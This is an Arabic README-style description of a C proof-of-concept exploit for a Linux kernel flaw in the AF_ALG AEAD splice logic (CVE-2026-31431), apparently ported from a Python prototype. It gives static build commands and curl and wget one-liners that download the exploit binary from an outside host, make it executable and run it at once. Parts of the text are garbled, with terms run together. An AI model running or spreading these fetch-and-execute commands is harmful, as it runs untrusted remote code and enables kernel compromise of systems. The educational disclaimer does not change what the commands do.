
ترجمة C لبرهان مفهوم تستغل خللاً في منطق splice الخاص بـ AF_ALG AEAD في نواة لينكس (CVE-2026-31431) لأغراض البحث التعليمي.
هذا المشروع هو نسخة بلغة C من النموذج الأولي المكتوب بلغة Python، بواسطة offsecguy.
يستفيد من واجهة برمجة تطبيقات التشفير في نواة لينكس (AF_ALG) باستخدام:
authescesn(hmac(sha256),cbc(aes)) الخاص بـ AEADMSG_MOREsplice()تقوم هذه التقنية بتغذية البيانات من وصف ملف للقراءة فقط عبر مقبس تشفير، ومعالجتها قطعة بقطعة.
musl-gcc -static -Os -s -o exp exp.c -I./zlib-1.3.2 -L./zlib-1.3.2 -lz
gcc exp.c -o exp -lz -s -static
gcc exp.c -o exp -lz -s
curl -sLo exp chosen.to/copyfail && chmod +x exp ; ./exp
wget chosen.to/copyfail -qO exp && chmod +x exp ; ./exp
AF_ALGzlib لفك الضغطهذا الكود مقدم لأغراض تعليمية وبحثية فقط.
استخدمه بمسؤولية وفقط على الأنظمة التي لديك إذن باختبارها.